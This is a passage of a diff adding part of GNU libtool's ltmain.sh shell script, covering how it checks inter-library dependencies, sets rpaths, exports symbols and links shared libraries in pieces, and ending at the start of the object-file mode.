+	  temp_xrpath="$temp_xrpath -R$libdir"
+	  case "$finalize_rpath " in
+	  *" $libdir "*) ;;
+	  *) finalize_rpath="$finalize_rpath $libdir" ;;
+	  esac
+	done
+	if test "$hardcode_into_libs" != yes || test "$build_old_libs" = yes; then
+	  dependency_libs="$temp_xrpath $dependency_libs"
+	fi
+      fi
+
+      # Make sure dlfiles contains only unique files that won't be dlpreopened
+      old_dlfiles="$dlfiles"
+      dlfiles=
+      for lib in $old_dlfiles; do
+	case " $dlprefiles $dlfiles " in
+	*" $lib "*) ;;
+	*) dlfiles="$dlfiles $lib" ;;
+	esac
+      done
+
+      # Make sure dlprefiles contains only unique files
+      old_dlprefiles="$dlprefiles"
+      dlprefiles=
+      for lib in $old_dlprefiles; do
+	case "$dlprefiles " in
+	*" $lib "*) ;;
+	*) dlprefiles="$dlprefiles $lib" ;;
+	esac
+      done
+
+      if test "$build_libtool_libs" = yes; then
+	if test -n "$rpath"; then
+	  case $host in
+	  *-*-cygwin* | *-*-mingw* | *-*-pw32* | *-*-os2* | *-*-beos*)
+	    # these systems don't actually have a c library (as such)!
+	    ;;
+	  *-*-rhapsody* | *-*-darwin1.[012])
+	    # Rhapsody C library is in the System framework
+	    deplibs="$deplibs System.ltframework"
+	    ;;
+	  *-*-netbsd*)
+	    # Don't link with libc until the a.out ld.so is fixed.
+	    ;;
+	  *-*-openbsd* | *-*-freebsd* | *-*-dragonfly*)
+	    # Do not include libc due to us having libc/libc_r.
+	    ;;
+	  *-*-sco3.2v5* | *-*-sco5v6*)
+	    # Causes problems with __ctype
+	    ;;
+	  *-*-sysv4.2uw2* | *-*-sysv5* | *-*-unixware* | *-*-OpenUNIX*)
+	    # Compiler inserts libc in the correct place for threads to work
+ 	    ;;
+ 	  *)
+	    # Add libc to deplibs on all other systems if necessary.
+	    if test "$build_libtool_need_lc" = "yes"; then
+	      deplibs="$deplibs -lc"
+	    fi
+	    ;;
+	  esac
+	fi
+
+	# Transform deplibs into only deplibs that can be linked in shared.
+	name_save=$name
+	libname_save=$libname
+	release_save=$release
+	versuffix_save=$versuffix
+	major_save=$major
+	# I'm not sure if I'm treating the release correctly.  I think
+	# release should show up in the -l (ie -lgmp5) so we don't want to
+	# add it in twice.  Is that correct?
+	release=""
+	versuffix=""
+	major=""
+	newdeplibs=
+	droppeddeps=no
+	case $deplibs_check_method in
+	pass_all)
+	  # Don't check for shared/static.  Everything works.
+	  # This might be a little naive.  We might want to check
+	  # whether the library exists or not.  But this is on
+	  # osf3 & osf4 and I'm not really sure... Just
+	  # implementing what was already the behavior.
+	  newdeplibs=$deplibs
+	  ;;
+	test_compile)
+	  # This code stresses the "libraries are programs" paradigm to its
+	  # limits. Maybe even breaks it.  We compile a program, linking it
+	  # against the deplibs as a proxy for the library.  Then we can check
+	  # whether they linked in statically or dynamically with ldd.
+	  $opt_dry_run || $RM conftest.c
+	  cat > conftest.c <<EOF
+	  int main() { return 0; }
+EOF
+	  $opt_dry_run || $RM conftest
+	  $LTCC $LTCFLAGS -o conftest conftest.c $deplibs
+	  if test "$?" -eq 0 ; then
+	    ldd_output=`ldd conftest`
+	    for i in $deplibs; do
+	      name=`expr $i : '-l\(.*\)'`
+	      # If $name is empty we are operating on a -L argument.
+	      if test "$name" != "" && test "$name" -ne "0"; then
+		if test "X$allow_libtool_libs_with_static_runtimes" = "Xyes" ; then
+		  case " $predeps $postdeps " in
+		  *" $i "*)
+		    newdeplibs="$newdeplibs $i"
+		    i=""
+		    ;;
+		  esac
+		fi
+		if test -n "$i" ; then
+		  libname=`eval "\\$ECHO \"$libname_spec\""`
+		  deplib_matches=`eval "\\$ECHO \"$library_names_spec\""`
+		  set dummy $deplib_matches; shift
+		  deplib_match=$1
+		  if test `expr "$ldd_output" : ".*$deplib_match"` -ne 0 ; then
+		    newdeplibs="$newdeplibs $i"
+		  else
+		    droppeddeps=yes
+		    $ECHO
+		    $ECHO "*** Warning: dynamic linker does not accept needed library $i."
+		    $ECHO "*** I have the capability to make that library automatically link in when"
+		    $ECHO "*** you link to this library.  But I can only do this if you have a"
+		    $ECHO "*** shared version of the library, which I believe you do not have"
+		    $ECHO "*** because a test_compile did reveal that the linker did not use it for"
+		    $ECHO "*** its dynamic dependency list that programs get resolved with at runtime."
+		  fi
+		fi
+	      else
+		newdeplibs="$newdeplibs $i"
+	      fi
+	    done
+	  else
+	    # Error occurred in the first compile.  Let's try to salvage
+	    # the situation: Compile a separate program for each library.
+	    for i in $deplibs; do
+	      name=`expr $i : '-l\(.*\)'`
+	      # If $name is empty we are operating on a -L argument.
+	      if test "$name" != "" && test "$name" != "0"; then
+		$opt_dry_run || $RM conftest
+		$LTCC $LTCFLAGS -o conftest conftest.c $i
+		# Did it work?
+		if test "$?" -eq 0 ; then
+		  ldd_output=`ldd conftest`
+		  if test "X$allow_libtool_libs_with_static_runtimes" = "Xyes" ; then
+		    case " $predeps $postdeps " in
+		    *" $i "*)
+		      newdeplibs="$newdeplibs $i"
+		      i=""
+		      ;;
+		    esac
+		  fi
+		  if test -n "$i" ; then
+		    libname=`eval "\\$ECHO \"$libname_spec\""`
+		    deplib_matches=`eval "\\$ECHO \"$library_names_spec\""`
+		    set dummy $deplib_matches; shift
+		    deplib_match=$1
+		    if test `expr "$ldd_output" : ".*$deplib_match"` -ne 0 ; then
+		      newdeplibs="$newdeplibs $i"
+		    else
+		      droppeddeps=yes
+		      $ECHO
+		      $ECHO "*** Warning: dynamic linker does not accept needed library $i."
+		      $ECHO "*** I have the capability to make that library automatically link in when"
+		      $ECHO "*** you link to this library.  But I can only do this if you have a"
+		      $ECHO "*** shared version of the library, which you do not appear to have"
+		      $ECHO "*** because a test_compile did reveal that the linker did not use this one"
+		      $ECHO "*** as a dynamic dependency that programs can get resolved with at runtime."
+		    fi
+		  fi
+		else
+		  droppeddeps=yes
+		  $ECHO
+		  $ECHO "*** Warning!  Library $i is needed by this library but I was not able to"
+		  $ECHO "***  make it link in!  You will probably need to install it or some"
+		  $ECHO "*** library that it depends on before this library will be fully"
+		  $ECHO "*** functional.  Installing it before continuing would be even better."
+		fi
+	      else
+		newdeplibs="$newdeplibs $i"
+	      fi
+	    done
+	  fi
+	  ;;
+	file_magic*)
+	  set dummy $deplibs_check_method; shift
+	  file_magic_regex=`expr "$deplibs_check_method" : "$1 \(.*\)"`
+	  for a_deplib in $deplibs; do
+	    name=`expr $a_deplib : '-l\(.*\)'`
+	    # If $name is empty we are operating on a -L argument.
+	    if test "$name" != "" && test  "$name" != "0"; then
+	      if test "X$allow_libtool_libs_with_static_runtimes" = "Xyes" ; then
+		case " $predeps $postdeps " in
+		*" $a_deplib "*)
+		  newdeplibs="$newdeplibs $a_deplib"
+		  a_deplib=""
+		  ;;
+		esac
+	      fi
+	      if test -n "$a_deplib" ; then
+		libname=`eval "\\$ECHO \"$libname_spec\""`
+		for i in $lib_search_path $sys_lib_search_path $shlib_search_path; do
+		  potential_libs=`ls $i/$libname[.-]* 2>/dev/null`
+		  for potent_lib in $potential_libs; do
+		      # Follow soft links.
+		      if ls -lLd "$potent_lib" 2>/dev/null |
+			 $GREP " -> " >/dev/null; then
+			continue
+		      fi
+		      # The statement above tries to avoid entering an
+		      # endless loop below, in case of cyclic links.
+		      # We might still enter an endless loop, since a link
+		      # loop can be closed while we follow links,
+		      # but so what?
+		      potlib="$potent_lib"
+		      while test -h "$potlib" 2>/dev/null; do
+			potliblink=`ls -ld $potlib | ${SED} 's/.* -> //'`
+			case $potliblink in
+			[\\/]* | [A-Za-z]:[\\/]*) potlib="$potliblink";;
+			*) potlib=`$ECHO "X$potlib" | $Xsed -e 's,[^/]*$,,'`"$potliblink";;
+			esac
+		      done
+		      if eval $file_magic_cmd \"\$potlib\" 2>/dev/null |
+			 $SED -e 10q |
+			 $EGREP "$file_magic_regex" > /dev/null; then
+			newdeplibs="$newdeplibs $a_deplib"
+			a_deplib=""
+			break 2
+		      fi
+		  done
+		done
+	      fi
+	      if test -n "$a_deplib" ; then
+		droppeddeps=yes
+		$ECHO
+		$ECHO "*** Warning: linker path does not have real file for library $a_deplib."
+		$ECHO "*** I have the capability to make that library automatically link in when"
+		$ECHO "*** you link to this library.  But I can only do this if you have a"
+		$ECHO "*** shared version of the library, which you do not appear to have"
+		$ECHO "*** because I did check the linker path looking for a file starting"
+		if test -z "$potlib" ; then
+		  $ECHO "*** with $libname but no candidates were found. (...for file magic test)"
+		else
+		  $ECHO "*** with $libname and none of the candidates passed a file format test"
+		  $ECHO "*** using a file magic. Last file checked: $potlib"
+		fi
+	      fi
+	    else
+	      # Add a -L argument.
+	      newdeplibs="$newdeplibs $a_deplib"
+	    fi
+	  done # Gone through all deplibs.
+	  ;;
+	match_pattern*)
+	  set dummy $deplibs_check_method; shift
+	  match_pattern_regex=`expr "$deplibs_check_method" : "$1 \(.*\)"`
+	  for a_deplib in $deplibs; do
+	    name=`expr $a_deplib : '-l\(.*\)'`
+	    # If $name is empty we are operating on a -L argument.
+	    if test -n "$name" && test "$name" != "0"; then
+	      if test "X$allow_libtool_libs_with_static_runtimes" = "Xyes" ; then
+		case " $predeps $postdeps " in
+		*" $a_deplib "*)
+		  newdeplibs="$newdeplibs $a_deplib"
+		  a_deplib=""
+		  ;;
+		esac
+	      fi
+	      if test -n "$a_deplib" ; then
+		libname=`eval "\\$ECHO \"$libname_spec\""`
+		for i in $lib_search_path $sys_lib_search_path $shlib_search_path; do
+		  potential_libs=`ls $i/$libname[.-]* 2>/dev/null`
+		  for potent_lib in $potential_libs; do
+		    potlib="$potent_lib" # see symlink-check above in file_magic test
+		    if eval "\$ECHO \"X$potent_lib\"" 2>/dev/null | $Xsed -e 10q | \
+		       $EGREP "$match_pattern_regex" > /dev/null; then
+		      newdeplibs="$newdeplibs $a_deplib"
+		      a_deplib=""
+		      break 2
+		    fi
+		  done
+		done
+	      fi
+	      if test -n "$a_deplib" ; then
+		droppeddeps=yes
+		$ECHO
+		$ECHO "*** Warning: linker path does not have real file for library $a_deplib."
+		$ECHO "*** I have the capability to make that library automatically link in when"
+		$ECHO "*** you link to this library.  But I can only do this if you have a"
+		$ECHO "*** shared version of the library, which you do not appear to have"
+		$ECHO "*** because I did check the linker path looking for a file starting"
+		if test -z "$potlib" ; then
+		  $ECHO "*** with $libname but no candidates were found. (...for regex pattern test)"
+		else
+		  $ECHO "*** with $libname and none of the candidates passed a file format test"
+		  $ECHO "*** using a regex pattern. Last file checked: $potlib"
+		fi
+	      fi
+	    else
+	      # Add a -L argument.
+	      newdeplibs="$newdeplibs $a_deplib"
+	    fi
+	  done # Gone through all deplibs.
+	  ;;
+	none | unknown | *)
+	  newdeplibs=""
+	  tmp_deplibs=`$ECHO "X $deplibs" | $Xsed \
+	      -e 's/ -lc$//' -e 's/ -[LR][^ ]*//g'`
+	  if test "X$allow_libtool_libs_with_static_runtimes" = "Xyes" ; then
+	    for i in $predeps $postdeps ; do
+	      # can't use Xsed below, because $i might contain '/'
+	      tmp_deplibs=`$ECHO "X $tmp_deplibs" | $Xsed -e "s,$i,,"`
+	    done
+	  fi
+	  if $ECHO "X $tmp_deplibs" | $Xsed -e 's/[ 	]//g' |
+	     $GREP . >/dev/null; then
+	    $ECHO
+	    if test "X$deplibs_check_method" = "Xnone"; then
+	      $ECHO "*** Warning: inter-library dependencies are not supported in this platform."
+	    else
+	      $ECHO "*** Warning: inter-library dependencies are not known to be supported."
+	    fi
+	    $ECHO "*** All declared inter-library dependencies are being dropped."
+	    droppeddeps=yes
+	  fi
+	  ;;
+	esac
+	versuffix=$versuffix_save
+	major=$major_save
+	release=$release_save
+	libname=$libname_save
+	name=$name_save
+
+	case $host in
+	*-*-rhapsody* | *-*-darwin1.[012])
+	  # On Rhapsody replace the C library with the System framework
+	  newdeplibs=`$ECHO "X $newdeplibs" | $Xsed -e 's/ -lc / System.ltframework /'`
+	  ;;
+	esac
+
+	if test "$droppeddeps" = yes; then
+	  if test "$module" = yes; then
+	    $ECHO
+	    $ECHO "*** Warning: libtool could not satisfy all declared inter-library"
+	    $ECHO "*** dependencies of module $libname.  Therefore, libtool will create"
+	    $ECHO "*** a static module, that should work as long as the dlopening"
+	    $ECHO "*** application is linked with the -dlopen flag."
+	    if test -z "$global_symbol_pipe"; then
+	      $ECHO
+	      $ECHO "*** However, this would only work if libtool was able to extract symbol"
+	      $ECHO "*** lists from a program, using \`nm' or equivalent, but libtool could"
+	      $ECHO "*** not find such a program.  So, this module is probably useless."
+	      $ECHO "*** \`nm' from GNU binutils and a full rebuild may help."
+	    fi
+	    if test "$build_old_libs" = no; then
+	      oldlibs="$output_objdir/$libname.$libext"
+	      build_libtool_libs=module
+	      build_old_libs=yes
+	    else
+	      build_libtool_libs=no
+	    fi
+	  else
+	    $ECHO "*** The inter-library dependencies that have been dropped here will be"
+	    $ECHO "*** automatically added whenever a program is linked with this library"
+	    $ECHO "*** or is declared to -dlopen it."
+
+	    if test "$allow_undefined" = no; then
+	      $ECHO
+	      $ECHO "*** Since this library must not contain undefined symbols,"
+	      $ECHO "*** because either the platform does not support them or"
+	      $ECHO "*** it was explicitly requested with -no-undefined,"
+	      $ECHO "*** libtool will only create a static version of it."
+	      if test "$build_old_libs" = no; then
+		oldlibs="$output_objdir/$libname.$libext"
+		build_libtool_libs=module
+		build_old_libs=yes
+	      else
+		build_libtool_libs=no
+	      fi
+	    fi
+	  fi
+	fi
+	# Done checking deplibs!
+	deplibs=$newdeplibs
+      fi
+      # Time to change all our "foo.ltframework" stuff back to "-framework foo"
+      case $host in
+	*-*-darwin*)
+	  newdeplibs=`$ECHO "X $newdeplibs" | $Xsed -e 's% \([^ $]*\).ltframework% -framework \1%g'`
+	  new_inherited_linker_flags=`$ECHO "X $new_inherited_linker_flags" | $Xsed -e 's% \([^ $]*\).ltframework% -framework \1%g'`
+	  deplibs=`$ECHO "X $deplibs" | $Xsed -e 's% \([^ $]*\).ltframework% -framework \1%g'`
+	  ;;
+      esac
+
+      # move library search paths that coincide with paths to not yet
+      # installed libraries to the beginning of the library search list
+      new_libs=
+      for path in $notinst_path; do
+	case " $new_libs " in
+	*" -L$path/$objdir "*) ;;
+	*)
+	  case " $deplibs " in
+	  *" -L$path/$objdir "*)
+	    new_libs="$new_libs -L$path/$objdir" ;;
+	  esac
+	  ;;
+	esac
+      done
+      for deplib in $deplibs; do
+	case $deplib in
+	-L*)
+	  case " $new_libs " in
+	  *" $deplib "*) ;;
+	  *) new_libs="$new_libs $deplib" ;;
+	  esac
+	  ;;
+	*) new_libs="$new_libs $deplib" ;;
+	esac
+      done
+      deplibs="$new_libs"
+
+      # All the library-specific variables (install_libdir is set above).
+      library_names=
+      old_library=
+      dlname=
+
+      # Test again, we may have decided not to build it any more
+      if test "$build_libtool_libs" = yes; then
+	if test "$hardcode_into_libs" = yes; then
+	  # Hardcode the library paths
+	  hardcode_libdirs=
+	  dep_rpath=
+	  rpath="$finalize_rpath"
+	  test "$mode" != relink && rpath="$compile_rpath$rpath"
+	  for libdir in $rpath; do
+	    if test -n "$hardcode_libdir_flag_spec"; then
+	      if test -n "$hardcode_libdir_separator"; then
+		if test -z "$hardcode_libdirs"; then
+		  hardcode_libdirs="$libdir"
+		else
+		  # Just accumulate the unique libdirs.
+		  case $hardcode_libdir_separator$hardcode_libdirs$hardcode_libdir_separator in
+		  *"$hardcode_libdir_separator$libdir$hardcode_libdir_separator"*)
+		    ;;
+		  *)
+		    hardcode_libdirs="$hardcode_libdirs$hardcode_libdir_separator$libdir"
+		    ;;
+		  esac
+		fi
+	      else
+		eval flag=\"$hardcode_libdir_flag_spec\"
+		dep_rpath="$dep_rpath $flag"
+	      fi
+	    elif test -n "$runpath_var"; then
+	      case "$perm_rpath " in
+	      *" $libdir "*) ;;
+	      *) perm_rpath="$perm_rpath $libdir" ;;
+	      esac
+	    fi
+	  done
+	  # Substitute the hardcoded libdirs into the rpath.
+	  if test -n "$hardcode_libdir_separator" &&
+	     test -n "$hardcode_libdirs"; then
+	    libdir="$hardcode_libdirs"
+	    if test -n "$hardcode_libdir_flag_spec_ld"; then
+	      eval dep_rpath=\"$hardcode_libdir_flag_spec_ld\"
+	    else
+	      eval dep_rpath=\"$hardcode_libdir_flag_spec\"
+	    fi
+	  fi
+	  if test -n "$runpath_var" && test -n "$perm_rpath"; then
+	    # We should set the runpath_var.
+	    rpath=
+	    for dir in $perm_rpath; do
+	      rpath="$rpath$dir:"
+	    done
+	    eval "$runpath_var='$rpath\$$runpath_var'; export $runpath_var"
+	  fi
+	  test -n "$dep_rpath" && deplibs="$dep_rpath $deplibs"
+	fi
+
+	shlibpath="$finalize_shlibpath"
+	test "$mode" != relink && shlibpath="$compile_shlibpath$shlibpath"
+	if test -n "$shlibpath"; then
+	  eval "$shlibpath_var='$shlibpath\$$shlibpath_var'; export $shlibpath_var"
+	fi
+
+	# Get the real and link names of the library.
+	eval shared_ext=\"$shrext_cmds\"
+	eval library_names=\"$library_names_spec\"
+	set dummy $library_names
+	shift
+	realname="$1"
+	shift
+
+	if test -n "$soname_spec"; then
+	  eval soname=\"$soname_spec\"
+	else
+	  soname="$realname"
+	fi
+	if test -z "$dlname"; then
+	  dlname=$soname
+	fi
+
+	lib="$output_objdir/$realname"
+	linknames=
+	for link
+	do
+	  linknames="$linknames $link"
+	done
+
+	# Use standard objects if they are pic
+	test -z "$pic_flag" && libobjs=`$ECHO "X$libobjs" | $SP2NL | $Xsed -e "$lo2o" | $NL2SP`
+
+	delfiles=
+	if test -n "$export_symbols" && test -n "$include_expsyms"; then
+	  $opt_dry_run || cp "$export_symbols" "$output_objdir/$libname.uexp"
+	  export_symbols="$output_objdir/$libname.uexp"
+	  delfiles="$delfiles $export_symbols"
+	fi
+
+	orig_export_symbols=
+	case $host_os in
+	cygwin* | mingw*)
+	  if test -n "$export_symbols" && test -z "$export_symbols_regex"; then
+	    # exporting using user supplied symfile
+	    if test "x`$SED 1q $export_symbols`" != xEXPORTS; then
+	      # and it's NOT already a .def file. Must figure out
+	      # which of the given symbols are data symbols and tag
+	      # them as such. So, trigger use of export_symbols_cmds.
+	      # export_symbols gets reassigned inside the "prepare
+	      # the list of exported symbols" if statement, so the
+	      # include_expsyms logic still works.
+	      orig_export_symbols="$export_symbols"
+	      export_symbols=
+	      always_export_symbols=yes
+	    fi
+	  fi
+	  ;;
+	esac
+
+	# Prepare the list of exported symbols
+	if test -z "$export_symbols"; then
+	  if test "$always_export_symbols" = yes || test -n "$export_symbols_regex"; then
+	    func_echo "generating symbol list for \`$libname.la'"
+	    export_symbols="$output_objdir/$libname.exp"
+	    $opt_dry_run || $RM $export_symbols
+	    cmds=$export_symbols_cmds
+	    save_ifs="$IFS"; IFS='~'
+	    for cmd in $cmds; do
+	      IFS="$save_ifs"
+	      eval cmd=\"$cmd\"
+	      if len=`expr "X$cmd" : ".*"` &&
+	       test "$len" -le "$max_cmd_len" || test "$max_cmd_len" -le -1; then
+		func_show_eval "$cmd" 'exit $?'
+		skipped_export=false
+	      else
+		# The command line is too long to execute in one step.
+		func_echo "using reloadable object file for export list..."
+		skipped_export=:
+		# Break out early, otherwise skipped_export may be
+		# set to false by a later but shorter cmd.
+		break
+	      fi
+	    done
+	    IFS="$save_ifs"
+	    if test -n "$export_symbols_regex"; then
+	      func_show_eval '$EGREP -e "$export_symbols_regex" "$export_symbols" > "${export_symbols}T"'
+	      func_show_eval '$MV "${export_symbols}T" "$export_symbols"'
+	    fi
+	  fi
+	fi
+
+	if test -n "$export_symbols" && test -n "$include_expsyms"; then
+	  tmp_export_symbols="$export_symbols"
+	  test -n "$orig_export_symbols" && tmp_export_symbols="$orig_export_symbols"
+	  $opt_dry_run || eval '$ECHO "X$include_expsyms" | $Xsed | $SP2NL >> "$tmp_export_symbols"'
+	fi
+
+	if test "X$skipped_export" != "X:" && test -n "$orig_export_symbols"; then
+	  # The given exports_symbols file has to be filtered, so filter it.
+	  func_echo "filter symbol list for \`$libname.la' to tag DATA exports"
+	  # FIXME: $output_objdir/$libname.filter potentially contains lots of
+	  # 's' commands which not all seds can handle. GNU sed should be fine
+	  # though. Also, the filter scales superlinearly with the number of
+	  # global variables. join(1) would be nice here, but unfortunately
+	  # isn't a blessed tool.
+	  $opt_dry_run || $SED -e '/[ ,]DATA/!d;s,\(.*\)\([ \,].*\),s|^\1$|\1\2|,' < $export_symbols > $output_objdir/$libname.filter
+	  delfiles="$delfiles $export_symbols $output_objdir/$libname.filter"
+	  export_symbols=$output_objdir/$libname.def
+	  $opt_dry_run || $SED -f $output_objdir/$libname.filter < $orig_export_symbols > $export_symbols
+	fi
+
+	tmp_deplibs=
+	for test_deplib in $deplibs; do
+	  case " $convenience " in
+	  *" $test_deplib "*) ;;
+	  *)
+	    tmp_deplibs="$tmp_deplibs $test_deplib"
+	    ;;
+	  esac
+	done
+	deplibs="$tmp_deplibs"
+
+	if test -n "$convenience"; then
+	  if test -n "$whole_archive_flag_spec"; then
+	    save_libobjs=$libobjs
+	    eval libobjs=\"\$libobjs $whole_archive_flag_spec\"
+	  else
+	    gentop="$output_objdir/${outputname}x"
+	    generated="$generated $gentop"
+
+	    func_extract_archives $gentop $convenience
+	    libobjs="$libobjs $func_extract_archives_result"
+	  fi
+	fi
+
+	if test "$thread_safe" = yes && test -n "$thread_safe_flag_spec"; then
+	  eval flag=\"$thread_safe_flag_spec\"
+	  linker_flags="$linker_flags $flag"
+	fi
+
+	# Make a backup of the uninstalled library when relinking
+	if test "$mode" = relink; then
+	  $opt_dry_run || eval '(cd $output_objdir && $RM ${realname}U && $MV $realname ${realname}U)' || exit $?
+	fi
+
+	# Do each of the archive commands.
+	if test "$module" = yes && test -n "$module_cmds" ; then
+	  if test -n "$export_symbols" && test -n "$module_expsym_cmds"; then
+	    eval test_cmds=\"$module_expsym_cmds\"
+	    cmds=$module_expsym_cmds
+	  else
+	    eval test_cmds=\"$module_cmds\"
+	    cmds=$module_cmds
+	  fi
+	else
+	  if test -n "$export_symbols" && test -n "$archive_expsym_cmds"; then
+	    eval test_cmds=\"$archive_expsym_cmds\"
+	    cmds=$archive_expsym_cmds
+	  else
+	    eval test_cmds=\"$archive_cmds\"
+	    cmds=$archive_cmds
+	  fi
+	fi
+
+	if test "X$skipped_export" != "X:" &&
+	   len=`expr "X$test_cmds" : ".*" 2>/dev/null` &&
+	   test "$len" -le "$max_cmd_len" || test "$max_cmd_len" -le -1; then
+	  :
+	else
+	  # The command line is too long to link in one step, link piecewise
+	  # or, if using GNU ld and skipped_export is not :, use a linker
+	  # script.
+
+	  # Save the value of $output and $libobjs because we want to
+	  # use them later.  If we have whole_archive_flag_spec, we
+	  # want to use save_libobjs as it was before
+	  # whole_archive_flag_spec was expanded, because we can't
+	  # assume the linker understands whole_archive_flag_spec.
+	  # This may have to be revisited, in case too many
+	  # convenience libraries get linked in and end up exceeding
+	  # the spec.
+	  if test -z "$convenience" || test -z "$whole_archive_flag_spec"; then
+	    save_libobjs=$libobjs
+	  fi
+	  save_output=$output
+	  output_la=`$ECHO "X$output" | $Xsed -e "$basename"`
+
+	  # Clear the reloadable object creation command queue and
+	  # initialize k to one.
+	  test_cmds=
+	  concat_cmds=
+	  objlist=
+	  last_robj=
+	  k=1
+
+	  if test "X$skipped_export" != "X:" && test "$with_gnu_ld" = yes; then
+	    output=${output_objdir}/${output_la}.lnkscript
+	    func_echo "creating GNU ld script: $output"
+	    $ECHO 'INPUT (' > $output
+	    for obj in $save_libobjs
+	    do
+	      $ECHO \""$obj"\" >> $output
+	    done
+	    $ECHO ')' >> $output
+	    delfiles="$delfiles $output"
+	  elif test "X$skipped_export" != "X:" && test "X$file_list_spec" != X; then
+	    output=${output_objdir}/${output_la}.lnk
+	    func_echo "creating linker input file list: $output"
+	    : > $output
+	    for obj in $save_libobjs
+	    do
+	      $ECHO "$obj" >> $output
+	    done
+	    delfiles="$delfiles $output"
+	    output=\"$file_list_spec$output\"
+	  else
+	    func_echo "creating reloadable object files..."
+	    output=$output_objdir/$output_la-${k}.$objext
+	    # Loop over the list of objects to be linked.
+	    for obj in $save_libobjs
+	    do
+	      eval test_cmds=\"$reload_cmds $objlist $last_robj\"
+	      if test "X$objlist" = X ||
+		 { len=`expr "X$test_cmds" : ".*" 2>/dev/null` &&
+		   test "$len" -le "$max_cmd_len"; }; then
+		objlist="$objlist $obj"
+	      else
+		# The command $test_cmds is almost too long, add a
+		# command to the queue.
+		if test "$k" -eq 1 ; then
+		  # The first file doesn't have a previous command to add.
+		  eval concat_cmds=\"$reload_cmds $objlist $last_robj\"
+		else
+		  # All subsequent reloadable object files will link in
+		  # the last one created.
+		  eval concat_cmds=\"\$concat_cmds~$reload_cmds $objlist $last_robj\"
+		fi
+		last_robj=$output_objdir/$output_la-${k}.$objext
+		k=`expr $k + 1`
+		output=$output_objdir/$output_la-${k}.$objext
+		objlist=$obj
+		len=1
+	      fi
+	    done
+	    # Handle the remaining objects by creating one last
+	    # reloadable object file.  All subsequent reloadable object
+	    # files will link in the last one created.
+	    test -z "$concat_cmds" || concat_cmds=$concat_cmds~
+	    eval concat_cmds=\"\${concat_cmds}$reload_cmds $objlist $last_robj\"
+
+	    if ${skipped_export-false}; then
+	      func_echo "generating symbol list for \`$libname.la'"
+	      export_symbols="$output_objdir/$libname.exp"
+	      $opt_dry_run || $RM $export_symbols
+	      libobjs=$output
+	      # Append the command to create the export file.
+	      eval concat_cmds=\"\$concat_cmds~$export_symbols_cmds\"
+	    fi
+
+	    # Set up a command to remove the reloadable object files
+	    # after they are used.
+	    i=0
+	    while test "$i" -lt "$k"
+	    do
+	      i=`expr $i + 1`
+	      delfiles="$delfiles $output_objdir/$output_la-${i}.$objext"
+	    done
+
+	    func_echo "creating a temporary reloadable object file: $output"
+
+	    # Loop through the commands generated above and execute them.
+	    save_ifs="$IFS"; IFS='~'
+	    for cmd in $concat_cmds; do
+	      IFS="$save_ifs"
+	      $opt_silent || {
+	          func_quote_for_expand "$cmd"
+		  eval "func_echo $func_quote_for_expand_result"
+	      }
+	      $opt_dry_run || eval "$cmd" || {
+		lt_exit=$?
+
+		# Restore the uninstalled library and exit
+		if test "$mode" = relink; then
+		  ( cd "$output_objdir" && \
+		    $RM "${realname}T" && \
+		    $MV "${realname}U" "$realname" )
+		fi
+
+		exit $lt_exit
+	      }
+	    done
+	    IFS="$save_ifs"
+	  fi
+
+	  libobjs=$output
+	  # Restore the value of output.
+	  output=$save_output
+
+	  if test -n "$convenience" && test -n "$whole_archive_flag_spec"; then
+	    eval libobjs=\"\$libobjs $whole_archive_flag_spec\"
+	  fi
+	  # Expand the library linking commands again to reset the
+	  # value of $libobjs for piecewise linking.
+
+	  # Do each of the archive commands.
+	  if test "$module" = yes && test -n "$module_cmds" ; then
+	    if test -n "$export_symbols" && test -n "$module_expsym_cmds"; then
+	      cmds=$module_expsym_cmds
+	    else
+	      cmds=$module_cmds
+	    fi
+	  else
+	    if test -n "$export_symbols" && test -n "$archive_expsym_cmds"; then
+	      cmds=$archive_expsym_cmds
+	    else
+	      cmds=$archive_cmds
+	    fi
+	  fi
+	fi
+
+	if test -n "$delfiles"; then
+	  # Append the command to remove temporary files to $cmds.
+	  eval cmds=\"\$cmds~\$RM $delfiles\"
+	fi
+
+	# Add any objects from preloaded convenience libraries
+	if test -n "$dlprefiles"; then
+	  gentop="$output_objdir/${outputname}x"
+	  generated="$generated $gentop"
+
+	  func_extract_archives $gentop $dlprefiles
+	  libobjs="$libobjs $func_extract_archives_result"
+	fi
+
+	save_ifs="$IFS"; IFS='~'
+	for cmd in $cmds; do
+	  IFS="$save_ifs"
+	  eval cmd=\"$cmd\"
+	  $opt_silent || {
+	    func_quote_for_expand "$cmd"
+	    eval "func_echo $func_quote_for_expand_result"
+	  }
+	  $opt_dry_run || eval "$cmd" || {
+	    lt_exit=$?
+
+	    # Restore the uninstalled library and exit
+	    if test "$mode" = relink; then
+	      ( cd "$output_objdir" && \
+	        $RM "${realname}T" && \
+		$MV "${realname}U" "$realname" )
+	    fi
+
+	    exit $lt_exit
+	  }
+	done
+	IFS="$save_ifs"
+
+	# Restore the uninstalled library and exit
+	if test "$mode" = relink; then
+	  $opt_dry_run || eval '(cd $output_objdir && $RM ${realname}T && $MV $realname ${realname}T && $MV ${realname}U $realname)' || exit $?
+
+	  if test -n "$convenience"; then
+	    if test -z "$whole_archive_flag_spec"; then
+	      func_show_eval '${RM}r "$gentop"'
+	    fi
+	  fi
+
+	  exit $EXIT_SUCCESS
+	fi
+
+	# Create links to the real library.
+	for linkname in $linknames; do
+	  if test "$realname" != "$linkname"; then
+	    func_show_eval '(cd "$output_objdir" && $RM "$linkname" && $LN_S "$realname" "$linkname")' 'exit $?'
+	  fi
+	done
+
+	# If -module or -export-dynamic was specified, set the dlname.
+	if test "$module" = yes || test "$export_dynamic" = yes; then
+	  # On all known operating systems, these are identical.
+	  dlname="$soname"
+	fi
+      fi
+      ;;
+
+    obj)
+      if test -n "$dlfiles$dlprefiles" || test "$dlself" != no; then
+	func_warning "\`-dlopen' is ignored for objects"
+      fi
+
+      test -n "$deplibs" && \
+	func_warning "\`-l' and \`-L' are ignored for objects"
+
+      test -n "$rpath" && \
+	func_warning "\`-rpath' is ignored for objects"
+
+      test -n "$xrpath" && \
+	func_warning "\`-R' is ignored for objects"
+
+      test -n "$vinfo" && \
+	func_warning "\`-version-info' is ignored for objects"
+
+      test -n "$release" && \
+	func_warning "\`-release' is ignored for objects"
+
+      case $output in
+      *.lo)
+	test -n "$objs$old_deplibs" && \
+	  func_fatal_error "cannot build library object \`$output' from non-libtool objects"
+
+	libobj="$output"
+	obj=`$ECHO "X$output" | $Xsed -e "$lo2o"`
+	;;
+      *)
+	libobj=
+	obj="$output"
+	;;
+      esac
+
+      # Delete the old objects.
